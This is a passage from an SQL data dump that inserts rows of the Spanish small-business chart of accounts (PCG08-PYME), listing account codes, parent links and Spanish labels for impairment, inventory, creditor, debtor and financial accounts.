información',NULL,0,NULL,NULL,1,0,NULL,NULL),(4202,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2918',4194,'Deterioro de valor de elementos de transporte',NULL,0,NULL,NULL,1,0,NULL,NULL),(4203,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2919',4194,'Deterioro de valor de otro inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4204,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','292',4185,'Deterioro de valor de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4205,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2920',4204,'Deterioro de valor de terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4206,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2921',4204,'Deterioro de valor de construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4207,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','293',4185,'Deterioro de valor de participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4208,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2933',4207,'Deterioro de valor de participaciones a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4209,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2934',4207,'Deterioro de valor de sobre participaciones a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4210,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2935',4207,'Deterioro de valor de sobre participaciones a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4211,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','294',4185,'Deterioro de valor de valores representativos de deuda a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4212,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2943',4211,'Deterioro de valor de valores representativos de deuda a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4213,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2944',4211,'Deterioro de valor de valores representativos de deuda a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4214,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2945',4211,'Deterioro de valor de valores representativos de deuda a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4215,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','295',4185,'Deterioro de valor de créditos a largo plazo a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4216,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2953',4215,'Deterioro de valor de créditos a largo plazo a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4217,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2954',4215,'Deterioro de valor de créditos a largo plazo a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4218,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2955',4215,'Deterioro de valor de créditos a largo plazo a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4219,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','296',4185,'Deterioro de valor de participaciones en el patrimonio netoa largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4220,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','297',4185,'Deterioro de valor de valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4221,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','298',4185,'Deterioro de valor de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4222,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','30',4003,'Comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4223,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','300',4222,'Mercaderías A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4224,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','301',4222,'Mercaderías B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4225,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','31',4003,'Materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4226,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','310',4225,'Materias primas A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4227,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','311',4225,'Materias primas B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4228,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','32',4003,'Otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4229,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','320',4228,'Elementos y conjuntos incorporables',NULL,0,NULL,NULL,1,0,NULL,NULL),(4230,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','321',4228,'Combustibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4231,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','322',4228,'Repuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4232,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','325',4228,'Materiales diversos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4233,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','326',4228,'Embalajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4234,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','327',4228,'Envases',NULL,0,NULL,NULL,1,0,NULL,NULL),(4235,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','328',4229,'Material de oficina',NULL,0,NULL,NULL,1,0,NULL,NULL),(4236,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','33',4003,'Productos en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4237,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','330',4236,'Productos en curos A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4238,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','331',4236,'Productos en curso B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4239,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','34',4003,'Productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4240,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','340',4239,'Productos semiterminados A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4241,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','341',4239,'Productos semiterminados B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4242,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','35',4003,'Productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4243,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','350',4242,'Productos terminados A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4244,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','351',4242,'Productos terminados B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4245,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','36',4003,'Subproductos, residuos y materiales recuperados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4246,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','360',4245,'Subproductos A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4247,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','361',4245,'Subproductos B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4248,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','365',4245,'Residuos A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4249,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','366',4245,'Residuos B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4250,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','368',4245,'Materiales recuperados A',NULL,0,NULL,NULL,1,0,NULL,NULL),(4251,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','369',4245,'Materiales recuperados B',NULL,0,NULL,NULL,1,0,NULL,NULL),(4252,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','39',4003,'Deterioro de valor de las existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4253,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','390',4252,'Deterioro de valor de las mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4254,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','391',4252,'Deterioro de valor de las materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4255,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','392',4252,'Deterioro de valor de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4256,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','393',4252,'Deterioro de valor de los productos en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4257,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','394',4252,'Deterioro de valor de los productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4258,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','395',4252,'Deterioro de valor de los productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4259,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','EXISTENCIAS','396',4252,'Deterioro de valor de los subproductos, residuos y materiales recuperados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4260,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','40',4004,'Proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4261,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','400',4260,'Proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4262,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4000',4261,'Proveedores euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4263,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4004',4261,'Proveedores moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4264,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4009',4261,'Proveedores facturas pendientes de recibir o formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4265,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','401',4260,'Proveedores efectos comerciales a pagar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4266,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','403',4260,'Proveedores empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4267,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4030',4266,'Proveedores empresas del grupo euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4268,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4031',4266,'Efectos comerciales a pagar empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4269,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4034',4266,'Proveedores empresas del grupo moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4270,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4036',4266,'Envases y embalajes a devolver a proveedores empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4271,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4039',4266,'Proveedores empresas del grupo facturas pendientes de recibir o de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4272,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','404',4260,'Proveedores empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4273,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','405',4260,'Proveedores otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4274,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','406',4260,'Envases y embalajes a devolver a proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4275,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','407',4260,'Anticipos a proveedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4276,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','41',4004,'Acreedores varios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4277,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','410',4276,'Acreedores por prestaciones de servicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4278,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4100',4277,'Acreedores por prestaciones de servicios euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4279,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4104',4277,'Acreedores por prestaciones de servicios moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4280,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4109',4277,'Acreedores por prestaciones de servicios facturas pendientes de recibir o formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4281,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','411',4276,'Acreedores efectos comerciales a pagar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4282,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','419',4276,'Acreedores por operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4283,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','43',4004,'Clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4284,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','430',4283,'Clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4285,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4300',4284,'Clientes euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4286,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4304',4284,'Clientes moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4287,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4309',4284,'Clientes facturas pendientes de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4288,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','431',4283,'Clientes efectos comerciales a cobrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4289,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4310',4288,'Efectos comerciales en cartera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4290,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4311',4288,'Efectos comerciales descontados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4291,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4312',4288,'Efectos comerciales en gestión de cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4292,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4315',4288,'Efectos comerciales impagados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4293,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','432',4283,'Clientes operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4294,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','433',4283,'Clientes empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4295,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4330',4294,'Clientes empresas del grupo euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4296,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4331',4294,'Efectos comerciales a cobrar empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4297,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4332',4294,'Clientes empresas del grupo operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4298,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4334',4294,'Clientes empresas del grupo moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4299,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4336',4294,'Clientes empresas del grupo dudoso cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4300,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4337',4294,'Envases y embalajes a devolver a clientes empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4301,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4339',4294,'Clientes empresas del grupo facturas pendientes de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4302,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','434',4283,'Clientes empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4303,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','435',4283,'Clientes otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4304,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','436',4283,'Clientes de dudoso cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4305,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','437',4283,'Envases y embalajes a devolver por clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4306,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','438',4283,'Anticipos de clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4307,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','44',4004,'Deudores varios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4308,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','440',4307,'Deudores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4309,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4400',4308,'Deudores euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4310,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4404',4308,'Deudores moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4311,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4409',4308,'Deudores facturas pendientes de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4312,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','441',4307,'Deudores efectos comerciales a cobrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4313,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4410',4312,'Deudores efectos comerciales en cartera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4314,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4411',4312,'Deudores efectos comerciales descontados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4315,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4412',4312,'Deudores efectos comerciales en gestión de cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4316,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4415',4312,'Deudores efectos comerciales impagados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4317,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','446',4307,'Deudores de dusoso cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4318,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','449',4307,'Deudores por operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4319,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','46',4004,'Personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4320,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','460',4319,'Anticipos de renumeraciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4321,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','465',4319,'Renumeraciones pendientes de pago',NULL,0,NULL,NULL,1,0,NULL,NULL),(4322,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','47',4004,'Administraciones Públicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4323,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','470',4322,'Hacienda Pública deudora por diversos conceptos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4324,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4700',4323,'Hacienda Pública deudora por IVA',NULL,0,NULL,NULL,1,0,NULL,NULL),(4325,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4708',4323,'Hacienda Pública deudora por subvenciones concedidas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4326,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4709',4323,'Hacienda Pública deudora por devolución de impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4327,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','471',4322,'Organismos de la Seguridad Social deudores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4328,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','472',4322,'Hacienda Pública IVA soportado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4329,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','473',4322,'Hacienda Pública retenciones y pagos a cuenta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4330,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','474',4322,'Activos por impuesto diferido',NULL,0,NULL,NULL,1,0,NULL,NULL),(4331,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4740',4330,'Activos por diferencias temporarias deducibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4332,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4742',4330,'Derechos por deducciones y bonificaciones pendientes de aplicar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4333,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4745',4330,'Crédito por pérdidasa compensar del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4334,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','475',4322,'Hacienda Pública acreedora por conceptos fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4335,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4750',4334,'Hacienda Pública acreedora por IVA',NULL,0,NULL,NULL,1,0,NULL,NULL),(4336,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4751',4334,'Hacienda Pública acreedora por retenciones practicadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4337,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4752',4334,'Hacienda Pública acreedora por impuesto sobre sociedades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4338,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4758',4334,'Hacienda Pública acreedora por subvenciones a integrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4339,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','476',4322,'Organismos de la Seguridad Social acreedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4340,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','477',4322,'Hacienda Pública IVA repercutido',NULL,0,NULL,NULL,1,0,NULL,NULL),(4341,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','479',4322,'Pasivos por diferencias temporarias imponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4342,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','48',4004,'Ajustes por periodificación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4343,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','480',4342,'Gastos anticipados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4344,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','485',4342,'Ingresos anticipados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4345,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','49',4004,'Deterioro de valor de créditos comerciales y provisiones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4346,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','490',4345,'Deterioro de valor de créditos por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4347,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','493',4345,'Deterioro de valor de créditos por operaciones comerciales con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4348,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4933',4347,'Deterioro de valor de créditos por operaciones comerciales con empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4349,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4934',4347,'Deterioro de valor de créditos por operaciones comerciales con empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4350,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4935',4347,'Deterioro de valor de créditos por operaciones comerciales con otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4351,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','499',4345,'Provisiones por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4352,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4994',4351,'Provisión para contratos anerosos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4353,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4999',4351,'Provisión para otras operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4354,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','50',4005,'Emprésitos deudas con características especiales y otras emisiones análogas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4355,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','500',4354,'Obligaciones y bonos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4356,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','502',4354,'Acciones o participaciones a corto plazo consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4357,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','505',4354,'Deudas representadas en otros valores negociables a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4358,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','506',4354,'Intereses a corto plazo de emprésitos y otras emisiones analógicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4359,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','507',4354,'Dividendos de acciones o participaciones consideradas como pasivos 